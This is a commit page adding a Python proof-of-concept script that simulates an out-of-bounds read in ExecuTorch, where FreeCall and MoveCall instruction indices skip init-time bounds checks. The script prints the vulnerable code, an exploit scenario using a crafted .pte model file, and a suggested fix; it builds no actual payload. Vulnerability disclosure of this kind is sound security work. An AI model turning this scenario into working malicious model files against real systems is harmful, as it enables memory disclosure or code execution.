PoC: ExecuTorch FreeCall value_index OOB access (CWE-129 -> CWE-125)
Browse files- poc_F3_freecall_oob.py +329 -0
poc_F3_freecall_oob.py
ADDED
|
@@ -0,0 +1,329 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
ExecuTorch FreeCall value_index Out-of-Bounds Access (CWE-129 -> CWE-125)
|
| 4 |
+
=========================================================================
|
| 5 |
+
|
| 6 |
+
Target: ExecuTorch (pytorch/executorch)
|
| 7 |
+
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
|
| 8 |
+
|
| 9 |
+
Affected File:
|
| 10 |
+
- runtime/executor/method.cpp:1478
|
| 11 |
+
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L1478
|
| 12 |
+
|
| 13 |
+
Init-time validation gap:
|
| 14 |
+
- runtime/executor/method.cpp:1029-1034 (JumpFalseCall validated, FreeCall skipped)
|
| 15 |
+
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L1029-L1034
|
| 16 |
+
|
| 17 |
+
CWE-129: Improper Validation of Array Index
|
| 18 |
+
CWE-125: Out-of-bounds Read
|
| 19 |
+
|
| 20 |
+
Description:
|
| 21 |
+
In ExecuTorch's instruction execution loop, the FreeCall instruction handler
|
| 22 |
+
at method.cpp:1478 accesses `values_[free_call->value_index()]` without any
|
| 23 |
+
bounds check against the values_ array size.
|
| 24 |
+
|
| 25 |
+
During init (method.cpp:1018-1060), the instruction validation switch statement
|
| 26 |
+
has explicit bounds checking for JumpFalseCall's value_index (lines 1029-1034)
|
| 27 |
+
but the default:{} case allows FreeCall and MoveCall instructions through
|
| 28 |
+
WITHOUT validating their value_index fields.
|
| 29 |
+
|
| 30 |
+
A malicious .pte model can set free_call->value_index() to any uint32 value,
|
| 31 |
+
including values far beyond the values_ array bounds, causing an OOB read
|
| 32 |
+
when the instruction is executed.
|
| 33 |
+
|
| 34 |
+
Impact:
|
| 35 |
+
Out-of-bounds read on the values_ array. The accessed memory is then
|
| 36 |
+
interpreted as an EValue and .toTensor() is called on it, which can:
|
| 37 |
+
1. Read sensitive data from adjacent memory
|
| 38 |
+
2. Cause a crash via invalid memory access
|
| 39 |
+
3. Potentially achieve code execution if the OOB memory is interpreted
|
| 40 |
+
as a Tensor with attacker-controlled data pointer
|
| 41 |
+
"""
|
| 42 |
+
|
| 43 |
+
import struct
|
| 44 |
+
import sys
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
def simulate_init_validation(instructions: list, num_values: int) -> list:
|
| 48 |
+
"""
|
| 49 |
+
Simulates the init-time instruction validation in method.cpp:1018-1060.
|
| 50 |
+
|
| 51 |
+
The switch statement validates:
|
| 52 |
+
- KernelCall: checks op_index bounds
|
| 53 |
+
- DelegateCall: checks delegate_index bounds
|
| 54 |
+
- JumpFalseCall: checks value_index bounds (line 1029-1034)
|
| 55 |
+
- default: {} — NO VALIDATION for FreeCall, MoveCall
|
| 56 |
+
|
| 57 |
+
Returns list of (instruction, validated: bool, passed: bool) tuples.
|
| 58 |
+
"""
|
| 59 |
+
results = []
|
| 60 |
+
for instr_type, fields in instructions:
|
| 61 |
+
if instr_type == "KernelCall":
|
| 62 |
+
# Validated: checks op_index
|
| 63 |
+
validated = True
|
| 64 |
+
passed = fields.get("op_index", 0) < fields.get("num_ops", 0)
|
| 65 |
+
results.append((instr_type, fields, validated, passed))
|
| 66 |
+
|
| 67 |
+
elif instr_type == "DelegateCall":
|
| 68 |
+
# Validated: checks delegate_index
|
| 69 |
+
validated = True
|
| 70 |
+
passed = fields.get("delegate_index", 0) < fields.get("num_delegates", 0)
|
| 71 |
+
results.append((instr_type, fields, validated, passed))
|
| 72 |
+
|
| 73 |
+
elif instr_type == "JumpFalseCall":
|
| 74 |
+
# Validated: checks value_index (line 1029-1034)
|
| 75 |
+
validated = True
|
| 76 |
+
value_idx = fields.get("value_index", 0)
|
| 77 |
+
passed = value_idx < num_values
|
| 78 |
+
results.append((instr_type, fields, validated, passed))
|
| 79 |
+
|
| 80 |
+
elif instr_type == "FreeCall":
|
| 81 |
+
# default:{} — NO VALIDATION
|
| 82 |
+
validated = False
|
| 83 |
+
passed = True # Always passes init — no check performed
|
| 84 |
+
results.append((instr_type, fields, validated, passed))
|
| 85 |
+
|
| 86 |
+
elif instr_type == "MoveCall":
|
| 87 |
+
# default:{} — NO VALIDATION
|
| 88 |
+
validated = False
|
| 89 |
+
passed = True # Always passes init — no check performed
|
| 90 |
+
results.append((instr_type, fields, validated, passed))
|
| 91 |
+
|
| 92 |
+
else:
|
| 93 |
+
validated = False
|
| 94 |
+
passed = True
|
| 95 |
+
results.append((instr_type, fields, validated, passed))
|
| 96 |
+
|
| 97 |
+
return results
|
| 98 |
+
|
| 99 |
+
|
| 100 |
+
def simulate_execution(instructions: list, num_values: int) -> list:
|
| 101 |
+
"""
|
| 102 |
+
Simulates the execution-time behavior at method.cpp:1478.
|
| 103 |
+
|
| 104 |
+
For FreeCall:
|
| 105 |
+
auto* free_call = instruction->instr_args_as_FreeCall();
|
| 106 |
+
auto t = values_[free_call->value_index()].toTensor();
|
| 107 |
+
internal::reset_data_ptr(t);
|
| 108 |
+
|
| 109 |
+
No bounds check on value_index before array access.
|
| 110 |
+
"""
|
| 111 |
+
results = []
|
| 112 |
+
for instr_type, fields in instructions:
|
| 113 |
+
if instr_type == "FreeCall":
|
| 114 |
+
value_idx = fields.get("value_index", 0)
|
| 115 |
+
in_bounds = value_idx < num_values
|
| 116 |
+
if not in_bounds:
|
| 117 |
+
oob_offset = (value_idx - num_values) * 48 # EValue is ~48 bytes
|
| 118 |
+
results.append({
|
| 119 |
+
"instruction": instr_type,
|
| 120 |
+
"value_index": value_idx,
|
| 121 |
+
"num_values": num_values,
|
| 122 |
+
"in_bounds": False,
|
| 123 |
+
"oob_bytes_past_array": oob_offset,
|
| 124 |
+
"action": f"OOB READ at values_[{value_idx}], "
|
| 125 |
+
f"{oob_offset} bytes past array end, "
|
| 126 |
+
f"then .toTensor() called on garbage memory"
|
| 127 |
+
})
|
| 128 |
+
else:
|
| 129 |
+
results.append({
|
| 130 |
+
"instruction": instr_type,
|
| 131 |
+
"value_index": value_idx,
|
| 132 |
+
"num_values": num_values,
|
| 133 |
+
"in_bounds": True,
|
| 134 |
+
"action": f"Normal access at values_[{value_idx}]"
|
| 135 |
+
})
|
| 136 |
+
elif instr_type == "MoveCall":
|
| 137 |
+
# MoveCall has same issue with move_from and move_to indices
|
| 138 |
+
move_from = fields.get("move_from", 0)
|
| 139 |
+
move_to = fields.get("move_to", 0)
|
| 140 |
+
from_ok = move_from < num_values
|
| 141 |
+
to_ok = move_to < num_values
|
| 142 |
+
results.append({
|
| 143 |
+
"instruction": instr_type,
|
| 144 |
+
"move_from": move_from,
|
| 145 |
+
"move_to": move_to,
|
| 146 |
+
"num_values": num_values,
|
| 147 |
+
"in_bounds": from_ok and to_ok,
|
| 148 |
+
"action": f"{'OOB' if not (from_ok and to_ok) else 'Normal'} "
|
| 149 |
+
f"move values_[{move_from}] -> values_[{move_to}]"
|
| 150 |
+
})
|
| 151 |
+
return results
|
| 152 |
+
|
| 153 |
+
|
| 154 |
+
def main():
|
| 155 |
+
print("=" * 78)
|
| 156 |
+
print("ExecuTorch FreeCall value_index OOB Access PoC")
|
| 157 |
+
print("CWE-129 (Improper Array Index Validation) -> CWE-125 (OOB Read)")
|
| 158 |
+
print("=" * 78)
|
| 159 |
+
print()
|
| 160 |
+
|
| 161 |
+
NUM_VALUES = 32 # Typical small model values_ array size
|
| 162 |
+
|
| 163 |
+
# -------------------------------------------------------------------------
|
| 164 |
+
# Show the init-time validation gap
|
| 165 |
+
# -------------------------------------------------------------------------
|
| 166 |
+
print("-" * 78)
|
| 167 |
+
print("PHASE 1: Init-Time Validation (method.cpp:1018-1060)")
|
| 168 |
+
print("-" * 78)
|
| 169 |
+
print()
|
| 170 |
+
print(" The init switch statement validates indices for some instructions")
|
| 171 |
+
print(" but the default:{} case skips FreeCall and MoveCall entirely.")
|
| 172 |
+
print()
|
| 173 |
+
print(" Relevant code (method.cpp:1018-1060):")
|
| 174 |
+
print()
|
| 175 |
+
print(" for (size_t i = 0; i < n_instructions; i++) {")
|
| 176 |
+
print(" auto instruction = instructions->GetAs<executorch_flatbuffer::Instruction>(i);")
|
| 177 |
+
print(" switch (instruction->instr_args_type()) {")
|
| 178 |
+
print(" case InstructionArguments::KernelCall: { /* validates op_index */ }")
|
| 179 |
+
print(" case InstructionArguments::DelegateCall: { /* validates delegate_index */ }")
|
| 180 |
+
print(" case InstructionArguments::JumpFalseCall: {")
|
| 181 |
+
print(" // Lines 1029-1034: VALIDATES value_index")
|
| 182 |
+
print(" auto jf = instruction->instr_args_as_JumpFalseCall();")
|
| 183 |
+
print(" ET_CHECK_OR_RETURN_ERROR(")
|
| 184 |
+
print(" jf->value_index() < n_value_, // <-- BOUNDS CHECK")
|
| 185 |
+
print(" ...);")
|
| 186 |
+
print(" }")
|
| 187 |
+
print(' default: {} // <-- FreeCall and MoveCall fall through HERE')
|
| 188 |
+
print(" }")
|
| 189 |
+
print(" }")
|
| 190 |
+
print()
|
| 191 |
+
|
| 192 |
+
instructions = [
|
| 193 |
+
("JumpFalseCall", {"value_index": 0x7FFFFFFF}), # Will be caught
|
| 194 |
+
("FreeCall", {"value_index": 0x7FFFFFFF}), # Will NOT be caught
|
| 195 |
+
("FreeCall", {"value_index": 1000}), # Will NOT be caught
|
| 196 |
+
("MoveCall", {"move_from": 0xFFFF, "move_to": 0}), # Will NOT be caught
|
| 197 |
+
("JumpFalseCall", {"value_index": 5}), # Legitimate, passes
|
| 198 |
+
("FreeCall", {"value_index": 5}), # Legitimate, passes
|
| 199 |
+
]
|
| 200 |
+
|
| 201 |
+
init_results = simulate_init_validation(instructions, NUM_VALUES)
|
| 202 |
+
|
| 203 |
+
print(f" Simulating init with num_values = {NUM_VALUES}:")
|
| 204 |
+
print()
|
| 205 |
+
for instr_type, fields, validated, passed in init_results:
|
| 206 |
+
if instr_type == "FreeCall":
|
| 207 |
+
idx = fields["value_index"]
|
| 208 |
+
tag = "VALIDATED" if validated else "SKIPPED (default:{})"
|
| 209 |
+
result = "PASS" if passed else "REJECTED"
|
| 210 |
+
oob = " [OOB!]" if idx >= NUM_VALUES else ""
|
| 211 |
+
print(f" {instr_type:20s} value_index={idx:<12d} init_check={tag:30s} result={result}{oob}")
|
| 212 |
+
elif instr_type == "MoveCall":
|
| 213 |
+
mf = fields["move_from"]
|
| 214 |
+
mt = fields["move_to"]
|
| 215 |
+
tag = "VALIDATED" if validated else "SKIPPED (default:{})"
|
| 216 |
+
result = "PASS" if passed else "REJECTED"
|
| 217 |
+
oob = " [OOB!]" if mf >= NUM_VALUES or mt >= NUM_VALUES else ""
|
| 218 |
+
print(f" {instr_type:20s} move_from={mf:<6d} move_to={mt:<6d} init_check={tag:30s} result={result}{oob}")
|
| 219 |
+
elif instr_type == "JumpFalseCall":
|
| 220 |
+
idx = fields["value_index"]
|
| 221 |
+
tag = "VALIDATED" if validated else "SKIPPED"
|
| 222 |
+
result = "PASS" if passed else "REJECTED"
|
| 223 |
+
oob = " [OOB but caught!]" if idx >= NUM_VALUES and not passed else ""
|
| 224 |
+
print(f" {instr_type:20s} value_index={idx:<12d} init_check={tag:30s} result={result}{oob}")
|
| 225 |
+
print()
|
| 226 |
+
|
| 227 |
+
# -------------------------------------------------------------------------
|
| 228 |
+
# Show the execution-time OOB access
|
| 229 |
+
# -------------------------------------------------------------------------
|
| 230 |
+
print("-" * 78)
|
| 231 |
+
print("PHASE 2: Execution-Time Access (method.cpp:1478)")
|
| 232 |
+
print("-" * 78)
|
| 233 |
+
print()
|
| 234 |
+
print(" Vulnerable code (method.cpp:1478):")
|
| 235 |
+
print()
|
| 236 |
+
print(" case InstructionArguments::FreeCall: {")
|
| 237 |
+
print(" auto* free_call = instruction->instr_args_as_FreeCall();")
|
| 238 |
+
print(" // NO BOUNDS CHECK on value_index!")
|
| 239 |
+
print(" auto t = values_[free_call->value_index()].toTensor();")
|
| 240 |
+
print(" internal::reset_data_ptr(t);")
|
| 241 |
+
print(" break;")
|
| 242 |
+
print(" }")
|
| 243 |
+
print()
|
| 244 |
+
|
| 245 |
+
# Only FreeCall and MoveCall instructions that passed init
|
| 246 |
+
exec_instructions = [
|
| 247 |
+
(itype, fields) for itype, fields, validated, passed
|
| 248 |
+
in init_results if passed and itype in ("FreeCall", "MoveCall")
|
| 249 |
+
]
|
| 250 |
+
|
| 251 |
+
exec_results = simulate_execution(exec_instructions, NUM_VALUES)
|
| 252 |
+
|
| 253 |
+
print(f" Simulating execution (only instructions that passed init):")
|
| 254 |
+
print()
|
| 255 |
+
for result in exec_results:
|
| 256 |
+
if result["instruction"] == "FreeCall":
|
| 257 |
+
status = "IN-BOUNDS" if result["in_bounds"] else ">>> OOB ACCESS <<<"
|
| 258 |
+
print(f" FreeCall value_index={result['value_index']}")
|
| 259 |
+
print(f" Status: {status}")
|
| 260 |
+
print(f" Action: {result['action']}")
|
| 261 |
+
if not result["in_bounds"]:
|
| 262 |
+
print(f" OOB distance: {result['oob_bytes_past_array']} bytes past values_ array")
|
| 263 |
+
print()
|
| 264 |
+
elif result["instruction"] == "MoveCall":
|
| 265 |
+
status = "IN-BOUNDS" if result["in_bounds"] else ">>> OOB ACCESS <<<"
|
| 266 |
+
print(f" MoveCall move_from={result['move_from']} move_to={result['move_to']}")
|
| 267 |
+
print(f" Status: {status}")
|
| 268 |
+
print(f" Action: {result['action']}")
|
| 269 |
+
print()
|
| 270 |
+
|
| 271 |
+
# -------------------------------------------------------------------------
|
| 272 |
+
# Concrete exploit scenario
|
| 273 |
+
# -------------------------------------------------------------------------
|
| 274 |
+
print("-" * 78)
|
| 275 |
+
print("EXPLOIT SCENARIO: Crafted .pte Model")
|
| 276 |
+
print("-" * 78)
|
| 277 |
+
print()
|
| 278 |
+
print(" A malicious .pte file contains a FreeCall instruction with:")
|
| 279 |
+
print(f" value_index = 0x7FFFFFFF (2147483647)")
|
| 280 |
+
print()
|
| 281 |
+
print(f" The model has {NUM_VALUES} values in the values_ array.")
|
| 282 |
+
print()
|
| 283 |
+
print(" 1. Init phase: FreeCall falls into default:{{}}, no validation")
|
| 284 |
+
print(" 2. Execution: values_[2147483647].toTensor() is called")
|
| 285 |
+
print()
|
| 286 |
+
|
| 287 |
+
# Calculate memory impact
|
| 288 |
+
evalue_size = 48 # sizeof(EValue) is approximately 48 bytes
|
| 289 |
+
oob_index = 0x7FFFFFFF
|
| 290 |
+
oob_bytes = (oob_index - NUM_VALUES) * evalue_size
|
| 291 |
+
print(f" Memory layout:")
|
| 292 |
+
print(f" values_ array: {NUM_VALUES} entries x {evalue_size} bytes = {NUM_VALUES * evalue_size} bytes")
|
| 293 |
+
print(f" OOB access at index {oob_index}:")
|
| 294 |
+
print(f" Offset from array start: {oob_index} x {evalue_size} = {oob_index * evalue_size:,} bytes (~{oob_index * evalue_size / (1024**3):.1f} GB)")
|
| 295 |
+
print(f" Bytes past array end: {oob_bytes:,} bytes (~{oob_bytes / (1024**3):.1f} GB)")
|
| 296 |
+
print()
|
| 297 |
+
print(" The accessed memory is then interpreted as an EValue struct,")
|
| 298 |
+
print(" and .toTensor() is called on it. If the OOB memory happens to")
|
| 299 |
+
print(" contain a valid-looking EValue with Tag::Tensor, the code will")
|
| 300 |
+
print(" dereference a Tensor object with potentially attacker-controlled")
|
| 301 |
+
print(" data_ptr, leading to arbitrary memory read/write.")
|
| 302 |
+
print()
|
| 303 |
+
|
| 304 |
+
# -------------------------------------------------------------------------
|
| 305 |
+
# Summary
|
| 306 |
+
# -------------------------------------------------------------------------
|
| 307 |
+
print("=" * 78)
|
| 308 |
+
print("SUMMARY")
|
| 309 |
+
print("=" * 78)
|
| 310 |
+
print()
|
| 311 |
+
print(" Vulnerability: FreeCall and MoveCall instructions skip init-time")
|
| 312 |
+
print(" bounds validation due to falling into the default:{} case of the")
|
| 313 |
+
print(" instruction validation switch (method.cpp:1018-1060).")
|
| 314 |
+
print()
|
| 315 |
+
print(" At execution time (method.cpp:1478), values_[value_index] is")
|
| 316 |
+
print(" accessed without any bounds check, leading to OOB read.")
|
| 317 |
+
print()
|
| 318 |
+
print(" Fix: Add explicit bounds checking for FreeCall.value_index and")
|
| 319 |
+
print(" MoveCall.move_from/move_to in the init validation switch,")
|
| 320 |
+
print(" similar to the existing JumpFalseCall validation at line 1029.")
|
| 321 |
+
print()
|
| 322 |
+
print(" Attack vector: Malicious .pte model file with crafted FlatBuffer")
|
| 323 |
+
print(" containing FreeCall instructions with out-of-bounds value_index.")
|
| 324 |
+
|
| 325 |
+
return 1
|
| 326 |
+
|
| 327 |
+
|
| 328 |
+
if __name__ == "__main__":
|
| 329 |
+
sys.exit(main())
|